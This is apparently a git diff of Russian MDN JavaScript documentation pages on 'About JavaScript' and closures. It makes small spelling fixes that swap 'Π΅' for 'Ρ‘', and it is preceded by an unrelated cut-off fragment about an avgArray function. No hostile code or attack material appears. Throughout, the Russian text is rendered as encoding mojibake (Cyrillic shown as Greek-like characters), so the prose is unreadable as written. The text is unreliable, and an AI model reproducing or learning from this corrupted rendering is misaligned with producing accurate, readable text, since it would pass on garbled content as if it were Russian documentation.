ΠΎΡΡ‚Π°Π²ΡˆΠΈΠ΅ΡΡ Π²Β <strong>args</strong>. Π­Ρ‚ΠΎ Π΅Ρ‰Ρ‘ ΠΎΠ΄Π½ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠ΅ свойство языка, ΠΎΠ΄Π½Π°ΠΊΠΎ ΠΎΠ½ΠΎ Π²Π΅Π΄Ρ‘Ρ‚ нас ΠΊ Π½ΠΎΠ²ΠΎΠΉ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ΅. Β <code>avg()</code> функция ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ список Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ², Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ запятыми. Но Ρ‡Ρ‚ΠΎ Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ срСднСС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² массивС? Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΏΠΈΡΠ°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
</div>
<pre class="brush: js notranslate">function avgArray(arr) {
diff --git a/files/ru/web/javascript/about_javascript/index.html b/files/ru/web/javascript/about_javascript/index.html
index 12ec0deb4f..830f267719 100644
--- a/files/ru/web/javascript/about_javascript/index.html
+++ b/files/ru/web/javascript/about_javascript/index.html
@@ -18,9 +18,9 @@ original_slug: Web/JavaScript/О_JavaScript
<p>JavaScript запускаСтся Π½Π° сторонС ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для создания/программирования Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Π΅Π±-страницы Π±ΡƒΠ΄ΡƒΡ‚ вСсти сСбя ΠΏΡ€ΠΈ наступлСнии ΠΊΠ°ΠΊΠΈΡ…-Π»ΠΈΠ±ΠΎ событий. JavaScript Π»Π΅Π³ΠΊΠΎ ΠΈΠ·ΡƒΡ‡ΠΈΡ‚ΡŒ, Π° Ρ‚Π°ΠΊΠΆΠ΅ это ΠΌΠΎΡ‰Π½Ρ‹ΠΉ скриптовый язык, ΡˆΠΈΡ€ΠΎΠΊΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ для контролирования повСдСния Π²Π΅Π±-страниц.</p>
-<p>Π’ΠΎΠΏΡ€Π΅ΠΊΠΈ распространСнному мнСнию, <strong>JavaScript <em>Π½Π΅</em> являСтся "ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΌ Java"</strong>. Π’ Π΄Π²ΡƒΡ… словах, JavaScript β€” это динамичСский скриптовый язык, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΠΉ <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Class-Based_vs._Prototype-Based_Languages">ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ½ΠΎΠ΅</a> созданиС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ². Π‘Π°Π·ΠΎΠ²Ρ‹ΠΉ синтаксис Π½Π°ΠΌΠ΅Ρ€Π΅Π½Π½ΠΎ ΠΏΠΎΡ…ΠΎΠΆ Π½Π° Java ΠΈ C++, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ число Π½ΠΎΠ²Ρ‹Ρ… ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΉ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Ρ… для изучСния языка. Π’Π°ΠΊΠΈΠ΅ языковыС конструкции, ΠΊΠ°ΠΊ <code>if</code>, <code>for</code>, <code>while</code>, <code>switch</code>, <code>try ... catch</code> ΠΏΠΎΡ…ΠΎΠΆΠΈ Π½Π° конструкции этих языков.</p>
+<p>Π’ΠΎΠΏΡ€Π΅ΠΊΠΈ распространённому мнСнию, <strong>JavaScript <em>Π½Π΅</em> являСтся "ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΌ Java"</strong>. Π’ Π΄Π²ΡƒΡ… словах, JavaScript β€” это динамичСский скриптовый язык, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΠΉ <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Class-Based_vs._Prototype-Based_Languages">ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ½ΠΎΠ΅</a> созданиС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ². Π‘Π°Π·ΠΎΠ²Ρ‹ΠΉ синтаксис Π½Π°ΠΌΠ΅Ρ€Π΅Π½Π½ΠΎ ΠΏΠΎΡ…ΠΎΠΆ Π½Π° Java ΠΈ C++, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ число Π½ΠΎΠ²Ρ‹Ρ… ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΉ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Ρ… для изучСния языка. Π’Π°ΠΊΠΈΠ΅ языковыС конструкции, ΠΊΠ°ΠΊ <code>if</code>, <code>for</code>, <code>while</code>, <code>switch</code>, <code>try ... catch</code> ΠΏΠΎΡ…ΠΎΠΆΠΈ Π½Π° конструкции этих языков.</p>
-<p>JavaScript ΠΌΠΎΠΆΠ΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ ΠΊΠ°ΠΊ <a href="https://ru.wikipedia.org/wiki/ΠŸΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€Π½ΠΎΠ΅_ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅">ΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€Π½Ρ‹ΠΉ</a>, ΠΈ ΠΊΠ°ΠΊ <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript">ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ</a> язык. ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎ Π²ΠΎ врСмя выполнСния, ΠΏΡƒΡ‚Π΅ΠΌ присоСдинСния ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠΈ свойств ΠΈΠ»ΠΈ пустых ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² <strong>Π²ΠΎ врСмя выполнСния</strong>, Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ синтаксичСских ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΉ классов Π² ΠΊΠΎΠΌΠΏΠΈΠ»ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Ρ… языках, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Π‘++ ΠΈΠ»ΠΈ Java. ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π±Ρ‹Π» создан, ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован Π² качСствС ΠΏΠ»Π°Π½Π° (ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ°) для создания ΠΏΠΎΡ…ΠΎΠΆΠΈΡ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ².</p>
+<p>JavaScript ΠΌΠΎΠΆΠ΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ ΠΊΠ°ΠΊ <a href="https://ru.wikipedia.org/wiki/ΠŸΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€Π½ΠΎΠ΅_ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅">ΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€Π½Ρ‹ΠΉ</a>, ΠΈ ΠΊΠ°ΠΊ <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript">ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ</a> язык. ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎ Π²ΠΎ врСмя выполнСния, ΠΏΡƒΡ‚Ρ‘ΠΌ присоСдинСния ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠΈ свойств ΠΈΠ»ΠΈ пустых ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² <strong>Π²ΠΎ врСмя выполнСния</strong>, Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ синтаксичСских ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΉ классов Π² ΠΊΠΎΠΌΠΏΠΈΠ»ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Ρ… языках, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Π‘++ ΠΈΠ»ΠΈ Java. ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π±Ρ‹Π» создан, ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован Π² качСствС ΠΏΠ»Π°Π½Π° (ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ°) для создания ΠΏΠΎΡ…ΠΎΠΆΠΈΡ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ².</p>
<p>ДинамичСскиС возмоТности JavaScript Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚: созданиС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π²ΠΎ врСмя выполнСния, ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ΅ число ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ², динамичСскоС созданиС скриптов (с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/eval">eval</a></code>), ΠΏΠ΅Ρ€Π΅Π±ΠΎΡ€ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² (с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>for ... in</code>), восстановлСниС исходного ΠΊΠΎΠ΄Π° (ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ Π½Π° JavaScript ΠΌΠΎΠ³ΡƒΡ‚ Π΄Π΅ΠΊΠΎΠΌΠΏΠΈΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚Π΅Π»Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π² исходный ΠΊΠΎΠ΄).</p>
@@ -32,7 +32,7 @@ original_slug: Web/JavaScript/О_JavaScript
<p>НСсколько ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΉ, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ TraceMonkey (Firefox 3.5), JΓ€gerMonkey (Firefox 4) ΠΈ IonMonkey, Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ Π² SpiderMonkey со Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ. Π Π°Π±ΠΎΡ‚Π° всСгда продолТаСтся, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ»ΡƒΡ‡ΡˆΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ выполнСния JavaScript.</p>
-<p>ΠšΡ€ΠΎΠΌΠ΅ Π²Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Ρ… ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ популярныС Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ:</p>
+<p>ΠšΡ€ΠΎΠΌΠ΅ Π²Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Ρ… ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ популярныС Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ:</p>
<ul>
<li><a href="https://code.google.com/p/v8/">V8</a> ΠΎΡ‚ Google, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… Google Chrome ΠΈ послСдних вСрсиях Opera. Π’Π°ΠΊΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² <a href="http://nodejs.org/">Node.js</a>.</li>
@@ -41,7 +41,7 @@ original_slug: Web/JavaScript/О_JavaScript
<li><a href="http://en.wikipedia.org/wiki/Chakra_%28JScript_engine%29">Chakra</a> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² Internet Explorer (язык, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ Π΄Π°Π½Π½Ρ‹ΠΉ Π΄Π²ΠΈΠΆΠΎΠΊ, называСтся JScript, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ с авторскими ΠΏΡ€Π°Π²Π°ΠΌΠΈ).</li>
</ul>
-<p>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Π΄Π²ΠΈΠΆΠΎΠΊ mozilla.org прСдоставляСт ΠΏΡƒΠ±Π»ΠΈΡ‡Π½Ρ‹ΠΉ API, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ для ΠΈΠ½Ρ‚Π΅Π³Ρ€Π°Ρ†ΠΈΠΈ JavaScript Π² своё ПО. Однако, Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнной срСдой для JavaScript ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹. Π’Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΠΏΡƒΠ±Π»ΠΈΡ‡Π½Ρ‹ΠΉ API для создания <strong>ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² срСды</strong>, ΠΎΡ‚Ρ€Π°ΠΆΠ°ΡŽΡ‰ΠΈΡ… <a href="http://www.w3.org/DOM/">DOM</a> Π² JavaScript.</p>
+<p>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Π΄Π²ΠΈΠΆΠΎΠΊ mozilla.org прСдоставляСт ΠΏΡƒΠ±Π»ΠΈΡ‡Π½Ρ‹ΠΉ API, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ для ΠΈΠ½Ρ‚Π΅Π³Ρ€Π°Ρ†ΠΈΠΈ JavaScript Π² своё ПО. Однако, Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространённой срСдой для JavaScript ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹. Π’Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΠΏΡƒΠ±Π»ΠΈΡ‡Π½Ρ‹ΠΉ API для создания <strong>ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² срСды</strong>, ΠΎΡ‚Ρ€Π°ΠΆΠ°ΡŽΡ‰ΠΈΡ… <a href="http://www.w3.org/DOM/">DOM</a> Π² JavaScript.</p>
<p>JavaScript Ρ‚Π°ΠΊΠΆΠ΅ примСняСтся ΠΊΠ°ΠΊ скриптовый язык Π½Π° сторонС сСрвСра. JavaScript сСрвСр прСдоставляСт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ срСды, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ HTTP запросов ΠΈ ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΎΠΉ Π½Π° JavaScript для динамичСской Π³Π΅Π½Π΅Ρ€Π°Ρ†ΠΈΠΈ Π²Π΅Π±-страниц. ΠŸΠΎΠΏΡƒΠ»ΡΡ€Π½Ρ‹ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ являСтся <a href="http://nodejs.org/">Node.js</a>.</p>
diff --git a/files/ru/web/javascript/closures/index.html b/files/ru/web/javascript/closures/index.html
index 0aaebde058..dde1d17511 100644
--- a/files/ru/web/javascript/closures/index.html
+++ b/files/ru/web/javascript/closures/index.html
@@ -8,7 +8,7 @@ translation_of: Web/JavaScript/Closures
---
<p>{{jsSidebar("Intermediate")}}</p>
-<p class="summary">Π—Π°ΠΌΡ‹ΠΊΠ°Π½ΠΈΠ΅Β β€” это комбинация Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈ лСксичСского окруТСния, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ эта функция Π±Ρ‹Π»Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π°. Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами, Π·Π°ΠΌΡ‹ΠΊΠ°Π½ΠΈΠ΅ Π΄Π°Π΅Ρ‚ Π²Π°ΠΌ доступ ΠΊ <a href="/ru/docs/Glossary/Scope">Scope</a> внСшнСй Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈΠ· Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. Π’ JavaScript замыкания ΡΠΎΠ·Π΄Π°ΡŽΡ‚ΡΡ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π· ΠΏΡ€ΠΈ создании функции, Π²ΠΎ врСмя Π΅Π΅ создания.</p>
+<p class="summary">Π—Π°ΠΌΡ‹ΠΊΠ°Π½ΠΈΠ΅Β β€” это комбинация Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈ лСксичСского окруТСния, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ эта функция Π±Ρ‹Π»Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π°. Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами, Π·Π°ΠΌΡ‹ΠΊΠ°Π½ΠΈΠ΅ Π΄Π°Ρ‘Ρ‚ Π²Π°ΠΌ доступ ΠΊ <a href="/ru/docs/Glossary/Scope">Scope</a> внСшнСй Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈΠ· Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. Π’ JavaScript замыкания ΡΠΎΠ·Π΄Π°ΡŽΡ‚ΡΡ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π· ΠΏΡ€ΠΈ создании функции, Π²ΠΎ врСмя Π΅Ρ‘ создания.</p>
<h2 id="ЛСксичСская_ΠΎΠ±Π»Π°ΡΡ‚ΡŒ_видимости" style="margin-bottom: 20px; line-height: 30px; font-size: 2.14285714285714rem;">ЛСксичСская ΠΎΠ±Π»Π°ΡΡ‚ΡŒ видимости</h2>
@@ -51,7 +51,7 @@ myFunc();
<p>На ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ взгляд, каТСтся Π½Π΅ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½Ρ‹ΠΌ, Ρ‡Ρ‚ΠΎ этот ΠΊΠΎΠ΄ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ, Π½ΠΎ ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚. Π’ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… языках программирования Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²ΠΎ врСмя выполнСния этой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. ПослС Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ выполнСния <code>makeFunc()</code> ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠΆΠΈΠ΄Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ пСрСмСнная <em>name</em> большС Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ доступна. Однако, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΊΠΎΠ΄ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Π΅Ρ‚ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½ΠΎ, Ρ‡Ρ‚ΠΎ это Π½Π΅ Ρ‚Π°ΠΊ Π² случаС JavaScript.</p>
-<p>ΠŸΡ€ΠΈΡ‡ΠΈΠ½Π° Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π² JavaScript Ρ„ΠΎΡ€ΠΌΠΈΡ€ΡƒΡŽΡ‚ Ρ‚Π°ΠΊ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅Β <em>замыкания</em>. <em>Π—Π°ΠΌΡ‹ΠΊΠ°Π½ΠΈΠ΅ </em>β€” это комбинация Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ и лСксичСского окруТСния, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ эта функция Π±Ρ‹Π»Π° объявлСна. Π­Ρ‚ΠΎ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ состоит ΠΈΠ· ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½ΠΎΠ³ΠΎ количСства Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹Ρ…Β ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅Β Π±Ρ‹Π»ΠΈΒ Π² области дСйствия Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π²ΠΎ врСмя создания замыкания. Π’ рассмотрСнном ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅Β <code>myFunc</code>Β β€” это ссылка Π½Π° экзСмпляр Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>displayName</code>, созданной в Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ выполнСния <code>makeFunc</code>. ЭкзСмпляр Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>displayName</code>Β Π² свою ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ сохраняСт ссылку Π½Π° своё лСксичСскоС ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π΅ΡΡ‚ΡŒ пСрСмСнная <code>name</code>.Β  По этой ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅, ΠΊΠΎΠ³Π΄Π° происходит Π²Ρ‹Π·ΠΎΠ² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>myFunc</code>, пСрСмСнная <code>name</code> остаётся доступной для использования ΠΈ сохранСнный Π² Π½Π΅ΠΉ тСкст "Mozilla" пСрСдаётся Π² <code>alert</code>.</p>
+<p>ΠŸΡ€ΠΈΡ‡ΠΈΠ½Π° Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π² JavaScript Ρ„ΠΎΡ€ΠΌΠΈΡ€ΡƒΡŽΡ‚ Ρ‚Π°ΠΊ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅Β <em>замыкания</em>. <em>Π—Π°ΠΌΡ‹ΠΊΠ°Π½ΠΈΠ΅ </em>β€” это комбинация Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ и лСксичСского окруТСния, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ эта функция Π±Ρ‹Π»Π° объявлСна. Π­Ρ‚ΠΎ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ состоит ΠΈΠ· ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½ΠΎΠ³ΠΎ количСства Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹Ρ…Β ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…, 